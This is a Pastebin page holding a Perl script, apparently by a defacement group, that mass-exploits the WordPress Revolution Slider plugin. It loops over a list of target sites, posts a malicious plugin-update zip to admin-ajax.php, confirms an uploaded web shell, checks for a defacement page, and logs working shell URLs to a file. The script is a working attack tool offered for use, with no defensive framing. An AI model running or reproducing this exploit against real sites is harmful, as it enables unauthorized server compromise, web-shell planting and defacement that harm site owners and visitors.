bonekcok21

Revslider Mass Exploiter Auto Upload Shell

Oct 12th, 2016
1,756
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.19 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #Visit My Blog --> https://trenggalekcybernew.blogspot.co.id/ <--
  3.  
  4. use LWP::UserAgent;
  5.  
  6. system(($^O eq 'MSWin32') ? 'cls' :'clear');
  7.  
  8. head();
  9.  
  10. my $usage = " \nperl $0 <list.txt>\n perl $0 lista.txt";
  11. die "$usage" unless $ARGV[0];
  12.  
  13. open(tarrget,"<$ARGV[0]") or die "$!";
  14. while(<tarrget>){
  15. chomp($_);
  16. $target = $_;
  17.  
  18. my $path = "wp-admin/admin-ajax.php";
  19.  
  20. print "\nTarget --> $target\n";
  21.  
  22. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  23. $ua->timeout(10);
  24. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  25. my $req = $ua->get("$target/$path");
  26. if($req->is_success) {
  27. print "\n  [+] Exploit Possibility Work !\n \n";
  28.  
  29.  
  30.  
  31. print "  [*] Try Exploiting Vulnerability\n";
  32. print "  [*] Exploiting . . . $target\n";
  33.  
  34. my $exploit = $ua->post("$target/$path", Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]);
  35.  
  36. print "  [*] Sending payload . . .\n";
  37.  
  38. if ($exploit->decoded_content =~ /Wrong update extracted folder/) {
  39. print "  [+] Payload  executed ! \n";
  40.  
  41. print "  [*] Checking if shell was uploaded . . .\n";
  42. my $check = $ua->get("$target/wp-content/plugins/revslider/temp/update_extract/revslider/MHC.php")->content;
  43. if($check =~/<br>/) {
  44.  
  45.     print "  [+] Shell uploaded :D ! \n";
  46.     open(save, '>>shells.txt');
  47.     print save "$target/wp-content/plugins/revslider/temp/update_extract/revslider/MHC.php\n";
  48.     close(save);
  49.  
  50.  
  51. print "  [*] Checking if Deface was uploaded now\n";
  52.  
  53. my $def = $ua->get("$target/x.php")->content;
  54. if($def = ~/Hacked/) {
  55.  
  56. print "  [+] Deface uploaded successfull\n";
  57.  
  58.  
  59. } else {print "   [-] Deface not Uploaded :/"; }
  60. } else { print "  [-] I'think Shell Not Uploaded :/\n"; }
  61. } else {
  62. print "  [-] Payload failed: Fail\n";
  63. print "\n";
  64.  
  65. }
  66. } else { print "\n [-]Exploit Fail :'(  \n"}
  67.  
  68. sub head {
  69. print "\t   +===============================================+\n";
  70. print "\t        Auto Exploiter Revslider Shell Upload \n";
  71. print "\t        rec0d3d by : AhmadHax0r \n";
  72. print "\t   +===============================================+\n";
  73. }
  74. }
Advertisement
Add Comment
Please, Sign In to add comment